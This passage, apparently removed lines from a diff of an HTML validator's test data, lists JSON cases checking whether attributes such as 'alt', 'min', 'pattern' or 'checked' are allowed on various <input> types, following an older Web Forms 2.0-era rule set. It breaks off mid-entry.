-{"description": "allowed 'disabled' attribute on <input type='text'>",
-"input": "<input type=text disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='text'>",
-"input": "<input type=text alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'size' attribute on <input type='text'>",
-"input": "<input type=text size>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='text'>",
-"input": "<input type=text checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='text'>",
-"input": "<input type=text min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'pattern' attribute on <input type='text'>",
-"input": "<input type=text pattern>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'readonly' attribute on <input type='text'>",
-"input": "<input type=text readonly>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='text'>",
-"input": "<input type=text template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='text'>",
-"input": "<input type=text autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='text'>",
-"input": "<input type=text target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='text'>",
-"input": "<input type=text method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='text'>",
-"input": "<input type=text form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='text'>",
-"input": "<input type=text max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='text'>",
-"input": "<input type=text step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='text'>",
-"input": "<input type=text enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='text'>",
-"input": "<input type=text src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='text'>",
-"input": "<input type=text name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='text'>",
-"input": "<input type=text required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'list' attribute on <input type='text'>",
-"input": "<input type=text list>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='text'>",
-"input": "<input type=text value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autocomplete' attribute on <input type='text'>",
-"input": "<input type=text autocomplete>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'inputmode' attribute on <input type='text'>",
-"input": "<input type=text inputmode>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'maxlength' attribute on <input type='text'>",
-"input": "<input type=text maxlength>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='text'>",
-"input": "<input type=text action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='text'>",
-"input": "<input type=text tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='image'>",
-"input": "<input type=image accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='image'>",
-"input": "<input type=image accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'replace' attribute on <input type='image'>",
-"input": "<input type=image replace>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='image'>",
-"input": "<input type=image disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'alt' attribute on <input type='image'>",
-"input": "<input type=image alt>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='image'>",
-"input": "<input type=image size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='image'>",
-"input": "<input type=image checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='image'>",
-"input": "<input type=image min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='image'>",
-"input": "<input type=image pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'readonly' attribute not allowed on <input type='image'>",
-"input": "<input type=image readonly>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='image'>",
-"input": "<input type=image template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='image'>",
-"input": "<input type=image autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'target' attribute on <input type='image'>",
-"input": "<input type=image target>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'method' attribute on <input type='image'>",
-"input": "<input type=image method>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='image'>",
-"input": "<input type=image form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='image'>",
-"input": "<input type=image max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='image'>",
-"input": "<input type=image step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'enctype' attribute on <input type='image'>",
-"input": "<input type=image enctype>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'src' attribute on <input type='image'>",
-"input": "<input type=image src>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='image'>",
-"input": "<input type=image name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'required' attribute not allowed on <input type='image'>",
-"input": "<input type=image required>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'list' attribute not allowed on <input type='image'>",
-"input": "<input type=image list>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'value' attribute not allowed on <input type='image'>",
-"input": "<input type=image value>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'autocomplete' attribute not allowed on <input type='image'>",
-"input": "<input type=image autocomplete>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='image'>",
-"input": "<input type=image inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='image'>",
-"input": "<input type=image maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'action' attribute on <input type='image'>",
-"input": "<input type=image action>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='image'>",
-"input": "<input type=image tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='number'>",
-"input": "<input type=number accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='number'>",
-"input": "<input type=number accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='number'>",
-"input": "<input type=number replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='number'>",
-"input": "<input type=number disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='number'>",
-"input": "<input type=number alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='number'>",
-"input": "<input type=number size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='number'>",
-"input": "<input type=number checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'min' attribute on <input type='number'>",
-"input": "<input type=number min>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='number'>",
-"input": "<input type=number pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'readonly' attribute on <input type='number'>",
-"input": "<input type=number readonly>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='number'>",
-"input": "<input type=number template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='number'>",
-"input": "<input type=number autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='number'>",
-"input": "<input type=number target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='number'>",
-"input": "<input type=number method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='number'>",
-"input": "<input type=number form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'max' attribute on <input type='number'>",
-"input": "<input type=number max>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'step' attribute on <input type='number'>",
-"input": "<input type=number step>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='number'>",
-"input": "<input type=number enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='number'>",
-"input": "<input type=number src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='number'>",
-"input": "<input type=number name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='number'>",
-"input": "<input type=number required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'list' attribute on <input type='number'>",
-"input": "<input type=number list>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='number'>",
-"input": "<input type=number value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autocomplete' attribute on <input type='number'>",
-"input": "<input type=number autocomplete>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='number'>",
-"input": "<input type=number inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='number'>",
-"input": "<input type=number maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='number'>",
-"input": "<input type=number action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='number'>",
-"input": "<input type=number tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='month'>",
-"input": "<input type=month accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='month'>",
-"input": "<input type=month accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='month'>",
-"input": "<input type=month replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='month'>",
-"input": "<input type=month disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='month'>",
-"input": "<input type=month alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='month'>",
-"input": "<input type=month size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='month'>",
-"input": "<input type=month checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'min' attribute on <input type='month'>",
-"input": "<input type=month min>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='month'>",
-"input": "<input type=month pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'readonly' attribute on <input type='month'>",
-"input": "<input type=month readonly>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='month'>",
-"input": "<input type=month template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='month'>",
-"input": "<input type=month autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='month'>",
-"input": "<input type=month target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='month'>",
-"input": "<input type=month method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='month'>",
-"input": "<input type=month form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'max' attribute on <input type='month'>",
-"input": "<input type=month max>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'step' attribute on <input type='month'>",
-"input": "<input type=month step>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='month'>",
-"input": "<input type=month enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='month'>",
-"input": "<input type=month src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='month'>",
-"input": "<input type=month name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='month'>",
-"input": "<input type=month required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'list' attribute on <input type='month'>",
-"input": "<input type=month list>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='month'>",
-"input": "<input type=month value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autocomplete' attribute on <input type='month'>",
-"input": "<input type=month autocomplete>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='month'>",
-"input": "<input type=month inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='month'>",
-"input": "<input type=month maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='month'>",
-"input": "<input type=month action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='month'>",
-"input": "<input type=month tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='radio'>",
-"input": "<input type=radio accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='radio'>",
-"input": "<input type=radio disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'checked' attribute on <input type='radio'>",
-"input": "<input type=radio checked>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'readonly' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio readonly>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='radio'>",
-"input": "<input type=radio autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='radio'>",
-"input": "<input type=radio form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='radio'>",
-"input": "<input type=radio name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='radio'>",
-"input": "<input type=radio required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'list' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio list>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='radio'>",
-"input": "<input type=radio value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'autocomplete' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio autocomplete>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='radio'>",
-"input": "<input type=radio action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='radio'>",
-"input": "<input type=radio tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='file'>",
-"input": "<input type=file accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accept' attribute on <input type='file'>",
-"input": "<input type=file accept>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='file'>",
-"input": "<input type=file replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='file'>",
-"input": "<input type=file disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='file'>",
-"input": "<input type=file alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='file'>",
-"input": "<input type=file size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='file'>",
-"input": "<input type=file checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'min' attribute on <input type='file'>",
-"input": "<input type=file min>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='file'>",
-"input": "<input type=file pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'readonly' attribute not allowed on <input type='file'>",
-"input": "<input type=file readonly>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='file'>",
-"input": "<input type=file template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='file'>",
-"input": "<input type=file autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='file'>",
-"input": "<input type=file target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='file'>",
-"input": "<input type=file method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='file'>",
-"input": "<input type=file form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'max' attribute on <input type='file'>",
-"input": "<input type=file max>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='file'>",
-"input": "<input type=file step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='file'>",
-"input": "<input type=file enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='file'>",
-"input": "<input type=file src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='file'>",
-"input": "<input type=file name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='file'>",
-"input": "<input type=file required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'list' attribute not allowed on <input type='file'>",
-"input": "<input type=file list>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'value' attribute not allowed on <input type='file'>",
-"input": "<input type=file value>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'autocomplete' attribute not allowed on <input type='file'>",
-"input": "<input type=file autocomplete>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'inputmode' attribute not allowed on <input type='file'>",
-"input": "<input type=file inputmode>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'maxlength' attribute not allowed on <input type='file'>",
-"input": "<input type=file maxlength>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='file'>",
-"input": "<input type=file action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='file'>",
-"input": "<input type=file tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='password'>",
-"input": "<input type=password accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='password'>",
-"input": "<input type=password accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='password'>",
-"input": "<input type=password replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='password'>",
-"input": "<input type=password disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='password'>",
-"input": "<input type=password alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'size' attribute on <input type='password'>",
-"input": "<input type=password size>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='password'>",
-"input": "<input type=password checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='password'>",
-"input": "<input type=password min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'pattern' attribute on <input type='password'>",
-"input": "<input type=password pattern>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'readonly' attribute on <input type='password'>",
-"input": "<input type=password readonly>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='password'>",
-"input": "<input type=password template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='password'>",
-"input": "<input type=password autofocus>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'target' attribute not allowed on <input type='password'>",
-"input": "<input type=password target>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'method' attribute not allowed on <input type='password'>",
-"input": "<input type=password method>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'form' attribute on <input type='password'>",
-"input": "<input type=password form>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'max' attribute not allowed on <input type='password'>",
-"input": "<input type=password max>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'step' attribute not allowed on <input type='password'>",
-"input": "<input type=password step>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'enctype' attribute not allowed on <input type='password'>",
-"input": "<input type=password enctype>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'src' attribute not allowed on <input type='password'>",
-"input": "<input type=password src>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'name' attribute on <input type='password'>",
-"input": "<input type=password name>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'required' attribute on <input type='password'>",
-"input": "<input type=password required>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'list' attribute not allowed on <input type='password'>",
-"input": "<input type=password list>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'value' attribute on <input type='password'>",
-"input": "<input type=password value>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autocomplete' attribute on <input type='password'>",
-"input": "<input type=password autocomplete>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'inputmode' attribute on <input type='password'>",
-"input": "<input type=password inputmode>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'maxlength' attribute on <input type='password'>",
-"input": "<input type=password maxlength>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'action' attribute not allowed on <input type='password'>",
-"input": "<input type=password action>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'tabindex' attribute on <input type='password'>",
-"input": "<input type=password tabindex>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'accesskey' attribute on <input type='move-up'>",
-"input": "<input type=move-up accesskey>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'accept' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up accept>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'replace' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up replace>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'disabled' attribute on <input type='move-up'>",
-"input": "<input type=move-up disabled>",
-"fail-if": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'alt' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up alt>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'size' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up size>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'checked' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up checked>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'min' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up min>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'pattern' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up pattern>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'readonly' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up readonly>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "'template' attribute not allowed on <input type='move-up'>",
-"input": "<input type=move-up template>",
-"fail-unless": "attribute-not-allowed-on-this-input-type"},
-
-{"description": "allowed 'autofocus' attribute on <input type='move-up'>",
-"input": "<input type=move-up autofocus>",
